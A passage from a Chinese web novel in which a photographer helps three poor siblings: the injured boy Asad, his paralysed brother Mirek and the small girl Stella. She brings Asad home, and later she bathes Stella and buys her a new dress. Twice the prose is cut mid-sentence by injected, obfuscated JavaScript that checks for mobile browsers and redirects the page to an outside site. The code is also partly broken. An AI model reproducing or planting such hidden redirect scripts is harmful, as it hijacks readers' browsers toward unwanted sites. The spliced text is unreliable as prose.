向导很快蹲下来,帮他把裂口按住,又从包里翻出一段旧布条,绕着竹筐底部打了个结。 他没说什么安慰的话,只把那个结系紧,试了试,递还给Asad。 Asad抬头看了向导一眼,嘴唇动了动。 “谢谢。” 向导点了一下头,没有让他继续道谢。 秦穗把那只断翅小鸟放到竹筐最上面。 “走吧。” Asad抱着竹筐,站起来时晃了一下。也许是蹲太久,也许是被打过的地方疼,他膝盖软了一瞬。 秦穗伸手扶住他。 “坐车回去。”她说,“你的膝盖在流血。” Asad低头看了一眼。 裤子破开的地方已经被泥糊住,膝盖上那块擦伤在夜色里看不清,只能看见一点暗红。他像才发现疼似的,肩膀很轻地缩了一下,又很快把那一下忍回去。 他眼眶又红了,眼泪挂在长长的睫毛了。两个梨涡也不见了,最后他还是点点头,任由秦穗和向导把他搀扶上了车。 竹筐被他放在膝上。 那只断翅小鸟就躺在最上面,翅膀边散出来的线搭在筐沿,随着车身轻轻晃。 秦穗坐在他旁边。 车门关上,夜色被隔在外面。 越野车缓慢倒出去,轮胎碾过碎石,发出沉闷的声响。旧桥被甩在车后,河水的声音一点点低下去。车窗外,黑影一片片往后退,断墙、铁皮棚、废弃的水桶、塌掉半边的路牌,都在暗处一晃而过。 车里没人说话。 Asad低头看着竹筐。 车里很暗,只有前挡风玻璃外偶尔晃过来的路灯光,短短地照亮他哭肿的眼睛。他像是从来没有想过这个答案,过了好一会儿,才低下头。 “我不想让哥哥更难过。” 秦穗没有立刻回答。 车子拐过一个坑,竹筐里的毛线轻轻滚了一下。Asad慌忙用手压住,像压住一场快要重新散开的灾难。 秦穗把那团毛线替他扶正。 “他已经难过了。”她说,“但你回去,他就能少怕一点。” Asad的眼泪又掉下来。 这次他没有擦。 越野车开了十几分钟,才拐进他们住的那片街区。 巷口太窄,车进不去。司机在外面停下,熄了灯,只留发动机低低地响着。远处有狗叫,铁皮门被风吹得一下一下碰着墙,像有人在很慢地敲门。 向导先下车,看了看巷子里面,确认没什么异常,才回头示意他们。 Asad抱着竹筐,没有动。 从车窗望出去,能看见巷子深处有一线昏黄的光。 他们家的门还开着。 那点光太小了,像随时会被夜风吹灭。门槛上坐着一个小小的影子,抱着膝盖,脑袋一点一点往下垂,又猛地惊醒似的抬起来,继续看巷口。 是Stella。 Asad的呼吸一下子乱了。 “我可以……”他声音很低,“我可以不下去吗?” 他的脸半藏在车里的暗处,肿起的那边颊骨被阴影遮住,只剩一只红得厉害的眼睛。 “我不知道怎么跟哥哥说。”他小声说。 秦穗说:“先让他们确认你平安,其他都是次要的。” 他抱了很久,才很轻地点了一下头,下车。 Stella先听见了脚步声。 她抬起头,看见Asad的一瞬间,整个人像没有反应过来。过了两秒,她猛地站起来,鞋都没穿好,就朝他跑过来。 “Asad!” 她扑到他身上。 Asad被撞得往后退了一小步,膝盖疼得轻轻抽了一口气,却立刻空出一只手抱住她。 “我回来了。”他说。 声音哑得几乎不像他。 Stella哭起来,小手攥着他的衬衫,急急说着秦穗听不懂的话。她说得又快又乱,像一下午攒下来的害怕终于找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588084|205370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出口。 Asad低着头,一句一句回她。 像在哄,也像在认错。 屋里传来很乱的一点动静。 秦穗抬头。 Mirek坐在昏黄灯下。 他比她离开时更歪。腰侧那只褪色的垫子已经被压塌了一半,整个人往右陷着,肩膀低下去,浅色衬衫领口被蹭得有些乱,露出一截苍白瘦削的锁骨。他的右腿从毛毯下滑出来一点,灰布裤贴着膝盖,脚踝歪在地毯边缘,像已经在那里僵了很久。 他似乎试着把自己撑起来。 细瘦的手臂抵在沙发边,掌根压住布面,虎口却张不开,蜷着的指节虚虚卡在那里,抓不住力。肩胛骨很小幅度地动了一下,身体刚往前提起一点,腰就先撑不住,整个人又往右侧塌了回去。 那一下很轻。 可Mirek的脸色一下更白了。 他没有顾上自己。 他看见了Asad。 先是看见弟弟抱在怀里的坏竹筐。 然后看见额角干掉的血,看见肿起的脸,看见破开的裤腿和膝盖上一片暗红的泥。 Mirek的眼睛像被什么轻轻刺了一下。 “Asad。” 那声音低得几乎落不住。 Asad站在门口,怀里还抱着竹筐,头越垂越低。 “哥哥……” 他往前走了两步,膝盖疼得一晃,秦穗扶住他。他却没有抬头,只把竹筐慢慢放到沙发前面。 竹筐底部裂着,提手断了半截,几根浅色毛线从裂口里垂出来。那只断了翅膀的小鸟躺在最上面,沾着泥,肚子上有一道被踩过的灰痕。 “对不起。”Asad说,“我没有卖出去。” Mirek没有看竹筐。 他的视线一直落在Asad脸上。 Asad声音越来越抖:“他们把东西抢走了。小鸟坏了,手环也没了。绿色的小羊也没了。背篓也坏了。我追不上,我没有拿回来。” 他胡乱擦了一下脸,眼泪却怎么都擦不干净。 “我没有钱,也没有买线。” 他终于低下头。 “哥哥,对不起。” 屋子里静得只剩门缝里的风声。 他咬着牙抬起手,苍白无力的手腕颤动地厉害。 虎口张不开,食指和拇指之间僵硬地隔着一段无力的空隙。指节蜷缩着,像几片被风压弯的细叶。他每往上抬一点,前臂都细细发抖,肩膀也跟着晃。 够不到。 Mirek的睫毛颤了一下。 那一点颤很轻,却像整个人都被这段距离刺痛了。 Asad怔住,下一刻立刻往前凑。他弯下腰,把自己受伤的脸小心避开一点,主动把没肿的那侧脸送到哥哥掌心底下。 像已经习惯了这样的距离。 像这些年里,哥哥有太多次够不到他,他就自己走近一点,再近一点,低下头,把自己放到哥哥还能碰到的位置。 Mirek的手终于碰到了他。 只是腕侧和掌根先碰到他的卷发,蜷着的指节轻轻擦过他耳边。Mirek似乎想摸他的脸,又怕碰到伤口,手在半空里停顿了一下,最后只用掌根很浅地贴住他没受伤的脸侧。 “疼不疼?”他终于问。 Asad哭着摇头。 Mirek看着他,声音轻得发哑:“别摇头。” Asad僵住。 “疼就说。”Mirek的睫毛湿了一点,眼睛却还看着他,“不要骗我。” Asad的嘴唇抖了抖。 很久,才小声说:“疼。” Stella也挤过来,抱住Asad的胳膊哭。 她还太小,不懂什么是没卖出去,不懂什么是抢地盘,也不懂那些小鸟和手环为什么不能回来。她只知道Asad不见了很久,又带着伤回来。 三个人挤在旧沙发前。 一个动不了,一个受了伤,一个年纪太小。 昏黄的灯泡没有灯罩,光薄薄落下来,照见Mirek苍白的脸,照见他垂着的手腕,照见Asad膝盖上脏掉的血,也照见地上那只断了翅膀的小鸟。 秦穗靠着门槛,手里紧紧抓着相机,这么这么辛苦的三个孩子,在这一刻,挤成了一个小小的窝。无数个,相依为命的夜晚里,就这样抱着互相取暖。 没有大人,没有足够的食物,没有完整的窗户,没有能挡住风的门。哥哥动不了,弟弟太小,妹妹更小。可夜来了,他们还是要睡,要醒,要等第二天,要把剩下的一点饼分成三块,要把线团理好,要把坏掉的东西藏起来,不让彼此太难过。 她的喉咙忽然疼了一下。 有些东西太沉,堵在胸口,让她无法呼吸。 8. 取暖 向导他们走后,门口那一点人声很快就散了。 车子发动的时候,巷口短暂亮起一点光,隔着破墙和铁皮棚,晃了一下,又很快被夜色吞没。屋里重新安静下来,只剩风从窗缝里一点一点往里钻,吹得墙上那块补洞的塑料布轻轻发响。 秦穗站在原地,没有立刻动。 Stella已经困得睁不开眼了,哭久了的小脸发红,睫毛一根一根黏在一起,还抓着Asad的袖口不放。Asad坐在小凳上,伤腿伸着,膝盖上的纱布白得刺眼,怀里还死死抱着那只坏竹筐。 哥哥还靠在沙发里,半边身子被塌下去的垫子带着往右陷,锁骨从敞开的领口里薄薄凸出来,睫毛湿着,唇上没什么血色,手腕偏垂在毛毯上。 他也还没有吃东西。 秦穗的喉咙又疼了一下。 她低头去翻自己的包。白天剩下的面包被压得有点扁,边角碎了,纸袋上蹭了一层灰。她把那一小袋拿出来,又把自己没动过的干粮放到茶几边,轻轻往Mirek够得到的位置推近了一点。 Mirek抬起眼。 那双眼睛本来就深,这会儿因为疲惫和湿意,显得更沉,像夜里一口看不到底的井。他大概明白了那是什么,也大概明白了秦穗为什么把它们推到自己手边。那一瞬间,难堪从他脸上很轻地掠过去,耳根慢慢红了一点,像是想说“不用”,可看了看Asad红肿的膝盖,又看了看抱着自己胳膊几乎要睡过去的Stella,最终只是把目光垂了下去。 “你吃一点。”秦穗轻声说。 Mirek没有立刻答。 他低着眼,睫毛在眼下投出细细一层影,手指很轻地动了一下。那只手还搭在毛毯上,腕子朝内偏着,虎口打不开,蜷缩的食指和拇指只是很费力地碰了一下,又分开了。 “我等一下吃。”他垂着眼睛说。 秦穗没有逼他当着自己的面吃。 她只是点头,又看向Asad:“时候不早了我先回去,你的伤口晚上别碰脏水。膝盖如果渗血,明天我带你去换。” Asad抬头看她,眼睛还是红的,两个小酒窝早就不见了,整张小脸都肿得可怜。他点点头,像还有什么话想说,最后却只是把唇抿紧了。 秦穗又摸了摸Stella乱糟糟的头发。 小女孩的头发带着一点河风吹久了的干涩气,发根却有很淡的奶腥味。她困得迷迷糊糊,只是下意识把脸往Asad胳膊上埋了埋。 门重新被拉开的时候,外面的风立刻卷进来,掀动茶几上的旧报纸,也吹得拉链上那只线绳小鸟轻轻转了半个圈。秦穗走出去,走到门外,又回过头。 昏黄灯泡下,Mirek也正在看她。 他没有说“路上小心”,也没有再说“谢谢”,只是那样安静地看着。肩膀低着,脸白得像没被太阳照过,整个人都显得很薄,可眼睛里有什么东西轻轻压着,没掉下来,也没藏住。 秦穗忽然觉得胸口闷得厉害。 她什么都没再说,只把门轻轻带上,转身走进巷子里。 她走的很慢,夜风吹在脸上,带着灰、潮气和一点燃油味。墙边还坐着白天见过的那些人,烟头在黑里一点一点亮。狗叫声从远处传过来,又很快断掉。 回到旅馆,拧开水龙头,手放在冷水底下冲了很久。手背上还残着一点给Asad擦血时留下的淡淡铁锈味。她把脸埋进掌心里,闭了一会儿眼,眼前还是Mirek那只够不到弟弟、又不肯完全垂下去的手。 隔壁房间传来几声说笑,很快又静下去。 她坐在床边,没有开灯。 黑暗里,那只线绳小鸟垂在包边,模模糊糊晃着。她看了很久,最后还是伸手把它握进掌心里。粗糙的线结轻轻硌着皮肤,小小的、倔强的。 而另一边,屋里已经彻底静了。 Stella先睡着了。 哭也哭不动了,脑袋一点一点往下栽。Asad把她从自己身边抱起来,动作很轻,伤腿一挪就疼得吸了一口气。他咬着牙,还是慢慢把妹妹抱到沙发角边的小毯子上。 屋里只剩下他们两个清醒着。 Mirek看着茶几上的面包,过了很久,才轻轻动了一下。 他想坐直一点去拿,可身体一用力,右腰就先往下塌,肩背绷得发抖。掌根抵住沙发边缘,手腕一偏,整只手只是很无力地滑过去一点,连茶几边都够不到。那点动作已经让他脸色更白,呼吸也有些乱了。 Asad立刻看见了。 “哥哥。” 他从小凳上挪过去,把面包拆开,掰成一小块,送到Mirek嘴边。 Mirek垂下眼,耳根一点点红起来。 “你吃。” “我吃过了。” “你只吃了一点。” “你一口都没吃。” Asad说得很低,可很坚持。 Mirek看了他几秒,到底还是张口接了。面包很干,边缘还有点硬,他吃得很慢,咬下去时脸颊都没有多少力气鼓起来,只是安静地一点点咽。Asad一直盯着他,等Mirek第二次低头去咬的时候,他才悄悄松了一口气。 喝水更难一点。 瓶口凑过去时,Mirek先抬了抬手,想自己接,手指却只是很细地颤,虎口依旧打不开,最后只把掌根搭在瓶身上,几乎没起什么作用。弟弟没说话,只把瓶子再举近一点。Mirek低头去喝,喉结很轻地滚了一下,唇边沾了一点水。 Asad下意识抬起袖子想替他擦,又停住。 袖口太脏了。 Mirek看见了,轻轻偏了偏头,像是不想让他为这个难受。 “没事。” Asad把手收回来,低声说:“等会儿洗好了就干净了。” Mirek“嗯”了一声。 其实他已经很不好了。 刚才情绪绷太久,现在整个人已经脱力了。肩膀歪着,腰侧那只垫子已经彻底被压扁了,他的腿在毛毯底下时不时细小地抽一下,带着布料轻轻动,像深处有一阵一阵不由人的痉挛。只是他不出声,痛也不往外放,所有不舒服都只落在那张过分安静的脸上。 Asad太熟悉了,哥哥已经撑不住了。 “我们洗一下再睡。”他说。 Mirek抬起眼,眼里有一点很浅的歉意。 “Asad,你膝盖……” “我可以。”声音大了点,好像这样就能压下那些不足的底气。 可他还是撑着站起来。 屋角那个旧水桶被拖出来时,木地板发出很轻的一声响。Asad一瘸一拐地去后面接水,回来时裤腿又蹭脏了一点,额角的纱布也被汗洇湿边缘。他把盆放下,蹲在那里拧毛巾,伤腿一弯就疼,眉头也跟着皱起来,可手里动作没有停。 湿毛巾很重。 他的小手还带着伤,拧得不够干,水顺着指缝往下淌。拧第二次的时候,手背上的擦伤被扯到,他轻轻抽了一下气。 Mirek听见了。 “Asad。” “没事。”Asad立刻抬头,笑了一下,“很快就好了。” 毛巾递过来时,他用两只手去接。手腕是偏着的,指节蜷得不太自然,掌根抵住湿毛巾边缘,腕骨轻轻打颤。那块毛巾对旁人来说轻,对他却并不轻。他只能两只手捧着,慢慢往自己脖子和锁骨上按。 动作很慢,很费力。 湿毛巾从他手里往下坠,他只能勉强把它夹在掌侧,再一点点挪。擦到胸口时,水已经顺着衬衫领口淌进去一点,他停在那里缓了好一会儿,呼吸慢慢变重。 “哥哥,我来吧。”Asad站在旁边,手有些迟疑地伸着。 哥哥抿着嘴巴摇摇头。 可那块毛巾很快就从他掌间往下滑,蜷着的手指连拢都拢不起来,只能眼睁睁看着它坠到自己腿上。在裤子上印出一大片深色的水痕。 Asad什么都没说,立刻把毛巾捡起来,重新拧一遍,再轻轻去擦他的肩背和手臂。他已经做得很熟了,哪里皮肤容易红,哪里受了潮要多按一会儿,哪里要顺着擦,哪里不能太用力,他都知道。 擦完上身以后,就要换布。 Asad熟门熟路地从木箱里拿出那几块缝得很厚的旧布,又重新接了半盆水。Stella困得东倒西歪,被他低声哄到角落里抱着枕头坐好。她知道这个时候不能乱看,就把脸埋进枕头里,只露出一点乱蓬蓬的头发。 Mirek的脸已经红了,即使做了一次又一次,他还是很难堪。 他把头偏向一边,睫毛压得很低,手指蜷在掌心边缘,连看都不愿意看自己的下半身。可他知道不做不行。这里热,潮,灰也多,如果不每天擦,不换布,很快就会出问题。发炎,发热,破皮,都是会把整个家拖垮的事情。 所以再羞耻难堪也得做。 Asad动作很轻,很快。 Mirek从头到尾没说话,只是有一回布料从腿边拖过去时,他的呼吸很轻地乱了一下,胸口微微起伏,像在用力忍住一阵说不出口的痛。 Asad听见了,手上动作立刻更轻。 “快好了。”他低声说。 Mirek没有应。 只是睫毛轻轻颤了一下。 换好以后,裤子重新穿上,毛毯拉回去,那种被看见的狼狈才像勉强被遮住。Asad把脏布卷起来放到一边,端着盆出去倒水。回来时,膝盖大概已经疼得有点发木了,走路明显更慢。 Mirek看着他,眼尾又红了。 “别忙了。” Asad摇头。 “还没上床。” 他们没有床了。 原来那张床太高,Mirek上不去,也不安全。卧室里铺着旧褥子,褥子下面垫着几层洗得发硬的布和破席子,虽然薄,却是他们能稳稳躺下的地方。 墙边那辆旧推车被拖过来,轮子一响就嘎吱嘎吱,车上缝着几块破布垫子,边缘磨得起毛。Stella抱着枕头跟过去,困得眼睛都睁不开,还是很认真地把枕头放到她觉得对的位置。 “这里。”她小声说。 Asad低头看了一眼,点点头。 从沙发到推车,再到地铺,这一段是最难的。 哥哥不是完全一点力气都没有。用肩膀挪一下,用那一点点核心把自己从彻底塌下去里勉强拽回来一点。可也只有一点点。多了就没有了。 Asad蹲下来,先把哥哥的腿摆正。 那两条腿很瘦,灰 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推车嘎吱嘎吱地被推进卧室。 地铺已经铺好了。旧褥子薄薄一层,边角卷着,Stella蹲在一旁,把小枕头一个一个摆好。她困得头一点一点,还是记得哥哥的枕头要垫高一点。 从推车到地铺,又是一次慢慢的挪。 这次哥哥几乎已经没有力气再帮了。 Asad扶着他,先把哥哥半边身子往褥子上带,再去托腿。Stella在一旁扶着毛毯和枕头,帮不上多少,却不肯离开。 终于躺下去的时候,Mirek整个人像散了一样。 褥子很薄地面很硬,肩膀塌下去,头陷进旧枕头里,手腕无力地歪在身侧。Asad赶紧把他的手摆进毛毯里,又替他把腿间那卷旧布垫好,脚踝摆正,毛毯拉平。 做完这些,Asad自己已经疼得脸都白了。 可还没完。 他还要带Stella去河边洗一下。小孩子可以随便冲一冲,不像Mirek那样,什么都得格外小心。Stella困得快站不住了,被他牵起来时还揉着眼睛,另一只手抱着哥哥的袖口不肯松。 “很快就回来。”Asad哄她。 小女孩看了看哥哥,又看了看门口,终于点头。 Mirek睁着眼,看他们。 “别去太久。” “我知道。” “Asad。” 小男孩停住。 Mirek看着他,眼睛湿得厉害。 “膝盖别碰水。” Asad低头看了看自己那条包着纱布的腿,很轻地“嗯”了一声。 门关上以后,屋里安静得过分。 塑料布在窗边轻轻响,像很远的雨。Mirek躺在旧褥子上,浑身都疼,腰酸得像被人拆开过,腿里有一阵一阵模糊的痉挛,肩背也在发紧。他闭着眼,脑子里却一直是Asad站在门口那一刻,额角带血,怀里抱着坏竹筐,哭着说“哥哥,对不起”。 他忽然觉得自己很没用。 这念头像根针,很钝,却一直扎着。他明明是哥哥,明明该护着他们,结果却只能躺在这里,等一个十岁的小孩受了伤还要回来照顾自己。 没过多久,门又响了。 Asad牵着Stella回来,小女孩头发和脸都湿了一点,困得东倒西歪,鞋子也穿反了。Asad自己的裤脚也湿了,却先把妹妹安置到地铺里侧,把毛毯给她掖好 然后他才慢慢躺下。 伤腿伸得直直的,尽量不碰到哥哥。 屋里没有再说话。 过了一会儿,Mirek还是轻轻开口:“疼吗?” 黑暗里,Asad安静了一下。 “疼。” 这一次他没有说没事。 Mirek的眼泪忽然掉下来。 很轻,落进旧枕头里,几乎没有声音。 Asad往他身边靠了一点。 “明天补小鸟。”他小声说。 Mirek闭着眼。 “嗯。” “明天找线。” “嗯。” “我不去那里了。” “嗯。” Stella已经睡着了,手还抓着Mirek的袖口。 三个孩子挤在旧褥子上,身下是硬的地,身上是旧毛毯。窗外的风吹着塑料布,屋里有药水味、湿毛巾味、旧棉布味,还有一点残余的面包气味。 贫穷,疼痛,羞耻,困倦,全都挤在这个夜里。 可他们还是靠在一起,支撑着取暖。 很久以后,Mirek用那只还能动一点的手,慢慢往Asad那边挪。 挪了很久,掌根才碰到弟弟的袖子。 Asad没有动。 过了一会儿,他把自己的手轻轻覆上去。 哥哥的手很凉,肌肉已经萎缩地很厉害,摸上去软软的。 他就那么盖着。 盖着,进入了梦里。 9. 洗澡 第二天的拍摄点离住处不远,前一天就和救援站、供水点那边确认了,车队从临时媒体点出发,同行的记者、联络人和司机都在,向导便不用全程跟着。他空出半天,绕去了旧喷泉和补给棚那一片,替她问昨天那场说不清的争执。 秦穗上午拍了供水点。 天气热得很早,塑料水桶一只挨一只摆在尘土里,桶口裂开的地方用胶带缠着,水从缝里一点点渗出来,滴到地上,很快又被晒干。她站在遮阳棚边,听着联络人和当地负责人低声确认,才举起相机。 镜头里是桶沿,是登记本上被汗水洇开的纸角,是物资袋从一双手递到另一双手里的瞬间。 中午以后,他们又去了临时诊疗棚。 棚里闷,消毒水味、汗味、灰尘味混在一起。秦穗拍完一组旧药盒和登记表,低头检查素材时,忽然看见画面角落里有个小女孩的裙摆,脏得发灰,边缘被磨出线头。 她手指停了一下。 脑子里闪过Stella昨夜睡着前的脸。小女孩哭得眼睛肿着,睫毛一根根黏住,头发乱成小小一团,脸颊边全是灰。 她把相机放低,喝了一口水。 水已经被晒得温热。 傍晚前,拍摄结束。向导在媒体点外等她,肩上的帆布包被灰扑得发白,额头上全是汗。他看见秦穗,朝旧喷泉的方向偏了偏头。 “问过了。”他说。 秦穗收相机的动作顿住。 向导口音重但意思清楚。那边没人承认。昨天几个少年说没碰过竹筐,也没抢什么东西。旁边摊贩却也说没看清。喷泉那一片小孩太多,没父母管的也多,早早就学会抢地方、抢客人,谁都怕被牵进去。 “没有监控,没有人作证。”向导皱着眉,“几只小鸟,几个手环,很难说清楚。” 秦穗只是顿了一下,又照常拉上相机包的拉链。 过了一会儿,她说:“麻烦你了。” 向导摆摆手。 “我明天再问问。”他说,“但别抱太大希望。” 秦穗点了点头,背起相机包,沿着那条熟悉的路往回走。 夕阳已经斜下去,热气还压在墙根。街边铁皮棚收了一半,几只空水桶倒扣在地上,风一吹,桶底贴着灰滚出很轻的声响。 她走到那扇门前时,里面正有很轻的说话声。 秦穗听不懂,Stella好像软软地问了一句什么,尾音拖得很长。Asad很快接了话,随后是Mirek的声音,很低,很慢,听起来比他们都稳,却也有一点压不住的小心。 屋里安静了几秒,又传来小凳子被拖动的声音。 秦穗抬手敲了敲门。 脚步声很快跑近。 Asad打开门时,先是愣了一下,随即眼睛亮起来。他今天没有出门,伤腿伸得有些僵,走路还是一瘸一拐的,却立刻侧身让开,又回头去拖那只小木凳。 那只凳子比屋里其他东西都干净些,大概刚擦过,边角还带着一点潮意。Asad把它搬到沙发旁边,一瘸一拐有些吃力。 “坐这里。”他说。 说完又觉得自己语气太急,耳朵微微红了一点,抓了抓卷发:“我们刚刚还在说……你今天会不会来。” Stella躲在他身后,眼睛亮晶晶地看着秦穗。头发乱得厉害,脸上有昨夜没擦干净的灰,裙摆下方蹭着泥。可她手里攥着一小截粉笔,一看见秦穗,便把粉笔藏到背后,像拿着什么不够体面的礼物。 秦穗低头看了一眼那只小凳。 “谢谢。” Asad被她一谢,反而更不好意思了,声音低下去:“昨天……谢谢你帮我。” 后面的话他没说完。 大概是不好意思说自己被找到时哭成那样。 他只是垂下眼,手指捏着门边,半天才又补了一句:“哥哥也一直想跟你说谢谢。” 沙发上,Mirek也正在看她。 白天的光线把他的疲惫照得更清楚。身后的旧垫子撑得不稳,半边身体仍旧往右陷,浅色衬衫领口皱着,露出一截瘦削苍白的锁骨。他像是早就听见了门口的动静,已经努力把自己撑得比平时端正一点。 可那点端正很勉强。 肩膀仍然低着,腰侧陷在软垫里,手腕偏垂在毛毯上,蜷缩的指节轻轻压着布面。秦穗进门时,他下意识又想再坐直些,掌根抵住沙发边缘,肩胛骨很小幅度地动了一下,腰却没有跟上。身体刚撑起一点,又慢慢落回去。 那一下很轻。 他的睫毛却立刻垂下去,耳根浮起一点薄红。 “你来了。”他低声说。 秦穗把水放到桌上:“来晚了。” “不晚。”他说得很快。 说完,又像觉得自己答得太急,唇轻轻抿住。他的视线在她脸上停了很短一瞬,像是看见她额角的汗,袖口的灰,和被太阳晒得微微发红的手背。 轻轻的,只是在确认她今天有没有很累,有没有哪里不舒服。 Mirek垂下眼,又很轻地开口:“昨天太麻烦你了。Asad能回来……多亏你。” 他说这句话时,声音比平时更低。不是客套,也不是顺口的道谢。那几个字像在他心里压了一夜,终于小心翼翼拿出来,放到她面前。 秦穗坐到Asad搬来的小凳上,低头去看他的膝盖。 “先看伤口。” Asad立刻把腿伸直一点,乖得过分。 伤口不算太深,但边缘还是红,昨日蹭进去的灰没有完全清干净。秦穗把棉片浸湿,动作放轻,一点点擦过去。 “今天碰水了吗?” Asad摇头:“没有。” “有没有走远?” “没有。”他停了停,又补了一句,“只在屋里。” 他说得很认真,像在交一份小小的作业。 秦穗替Asad重新贴好纱布,抬头时,看见Stella正蹲在一旁看着。小女孩手背上全是粉笔灰,发根里夹着细沙,连鼻尖都蹭出一道灰白。她像是意识到秦穗在看自己,连忙用手背擦了一下脸,结果脸上又多了一道白痕。 秦穗心口微微一滞。 她看向Mirek:“她今天洗过吗?” Mirek的神色一下变得局促,像被问到了一件很私密、也很难堪的家事。Asad立刻说:“昨晚带她去河里洗了一下,早上擦了脸。” 他说完,又低头看了看自己的膝盖。 后面的话不用说,秦穗也懂。 两个男孩子把Stella护在身边,给她分吃的,给她盖衣服,哄她睡觉,教她不要跑远。可是小女孩的头发该怎么一点点梳开,裙子脏了该换什么,怎样让她干干净净地坐在阳光里,他们其实都没有办法。 秦穗看了看外面的天色。 “我旅馆有热水。”她说,“我带Stella去洗一下,可以吗?” Stella只听懂自己的名字和“洗”,立刻往Mirek身边缩了一点,小手抓住他垂在毛毯边的袖口。 Mirek低头看她。 他想摸摸妹妹的头,手腕却先往下坠了一点。Stella已经很熟练地把脑袋往他掌根底下凑,让他刚好碰到自己的卷发。Mirek用当地话话低声哄她。 Stella皱着很小的眉,看秦穗,又看哥哥。 秦穗蹲下来,放慢声音:“洗完回来。” 她一边说,一边指了指外面,又指回屋里。 “回来?” “回来。”秦穗点头。 Mirek也轻轻点了一下头。 他其实也担心。Stella从来没有被陌生人这样带出去过。这个地方的街道太乱,天色一暗,风声和人声都会变得不一样。可他昨晚亲眼看着秦穗把Asad找回来,也看着她蹲在地上,一点点给弟弟擦去额角的血。 Mirek低头看着妹妹,声音放得更软:“跟她去。洗干净就回来。” 妹妹终于慢慢松开他的袖口。 走到门边时,她又回头看了两次。 秦穗没有催,只伸出手。小女孩犹豫很久,才把那只带着粉笔灰的小手放进她掌心。 手心很热,带着攥过粉笔的潮湿。 走到街口时,秦穗先带Stella进了一家很小的服装店。Stella站在门边,眼睛盯着其中一条浅黄色的裙子,想看,又不敢看得太明显。 秦穗把那条裙子取下来,比了比她的身量。 布料普通,裙摆边缝着一圈很小的白色花边,线头还没剪干净。可它干净,柔软,是现在最要紧的东西。 她又买了小梳子、发圈和一小块肥皂。 Stella一直仰头看她,像不确定这些是不是给自己的。直到秦穗把那条裙子叠好,放进袋子里,递给她抱着,小女孩才慢慢低头,把脸贴在塑料袋边缘,眼睛亮得不像话。 “裙子。”秦穗说。 Stella跟着很小声地念:“裙子。” 这才去旅馆。 旅馆房间在二楼,走廊窄,墙皮有几处脱落。Stella站在门口不敢进,先看灯,再看床,最后看那间小小的浴室。瓷砖不新,水龙头开起来还有一点刺耳的老旧声响,可这里有门,有毛巾,有可以一直流出来的热水。 秦穗替她脱鞋时,Stella下意识缩脚,像怕弄脏地板。 “没事。”秦穗说。 她听不太懂,只从语气里听出安抚,才慢慢把脚放下来。 热水出来得慢。 水声哗啦响起时,Stella吓了一跳,立刻回头看秦穗。秦穗试了水温,把她的小手牵过去,让她碰一下。 小女孩的眼睛一下亮了。 “水。” “嗯,热水。” 洗头的时候,她起初很紧张。水一落到头发上,她就闭紧眼,双手胡乱往脸前挡,嘴里急急说着秦穗听不懂的话。秦穗只能用毛巾护住她额头,动作放得很慢,一点点把卷发里的细沙和灰冲开。 水最开始是灰的。 顺着她发梢流下来,带出一点尘土味。秦穗挤出自己带来的洗发水,淡淡的香气在浴室里散开。Stella立刻安静了一点,小鼻子轻轻动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不是守门的小孩,不是帮哥哥拿枕头的小孩,也不是旧沙发前哭到睡着的小孩。她也会喜欢干净的水,喜欢香气,喜欢新裙子。 门被推开时,Asad正坐在小凳上,低头拆那段脏掉的毛线。听见声音抬头,看见Stella,手里的线一下停住了。 Stella站在门口,有点害羞地抓着裙摆。 她第一眼先看Mirek。 “哥哥。” Mirek抬起头。 那一瞬间,他怔了一下。 小女孩干干净净地站在门口,浅黄色裙子在昏暗屋子里像一块很轻的光。她身上有淡淡的香气,随着她小跑进来,落进旧棉布、药水和潮气之间,显得几乎不真实。 只是说洗干净带回来。 可秦穗把她带回来的时候,她穿着一条崭新的裙子,头发梳开了,脸也干净了,像许久许久以前,父母还在时,节日里那个被好好抱出去的小妹妹。 Asad先反应过来。 他看着Stella,嘴角往上动了一下,又很快压下去,像不想显得自己太高兴。 “你怎么变成这样了。”他说,语气故意嫌弃,眼睛却亮得厉害,“差点没认出来。” Stella听不出他在嘴硬,只当哥哥真的没认出来,急得往前跑了两步。 “是我!” Asad终于笑出来。 那两个消失了一天的小酒窝浅浅露出来。 “知道是你。”他说,“臭美。” Stella一下高兴起来,原地转了一个很小的圈。裙摆晃得不高,却足够让她自己笑出声。 她跑到Mirek身边,想扑,又记得不能撞哥哥,只停在沙发边,把裙摆抓起来给他看。 “看。” 她只会说这个。 Mirek看着她,很久没有说话。 他的手指在毛毯上轻轻动了一下,像是想摸摸那条裙子,却够不到。Stella立刻凑近一点,把裙摆送到他掌心下方。 他的掌根终于碰到那一点布料。 轻轻的。 “很好看。”Mirek低声说。 Stella笑得眼睛弯起来,又把头低下去,让哥哥闻自己的头发。 “香。”她认真说。 Mirek的睫毛颤了一下,深深地吸了一口气。妹妹的味道,与这间有些潮气霉味的屋子格格不入。 秦穗站在门边,手里拎着装旧裙子和小梳子的袋子,袖口还沾着一点水。她看起来很疲惫,碎发被汗和水汽打湿,贴在脸侧。可她神色很平,像只是做了一件再寻常不过的小事。 Mirek看着秦穗,眼底有惊喜,也有更深的羞愧。过了很久,才低声说:“太麻烦你了。” 秦穗把袋子放到桌上。 “不麻烦。”她说,“她很乖。” Stella听见“乖”,立刻回头看秦穗,像确认是在夸自己。秦穗对她笑了一下,小女孩就又高兴起来,跑去给Asad看头发和裙子。 裙摆在旧地毯上擦过,发出很轻的声响。Asad嘴上说她臭美,又怕她撞到沙发,伸手虚虚护了一下。Mirek靠在垫子里,眼睛里终于有了一点极浅的亮。 秦穗站在旁边,没有说话。 这个家并没有变好。 可是这一刻,Stella是干净的。 穿着一条崭新的浅黄色裙子,像一个真正五岁的小女孩。 10. 背影 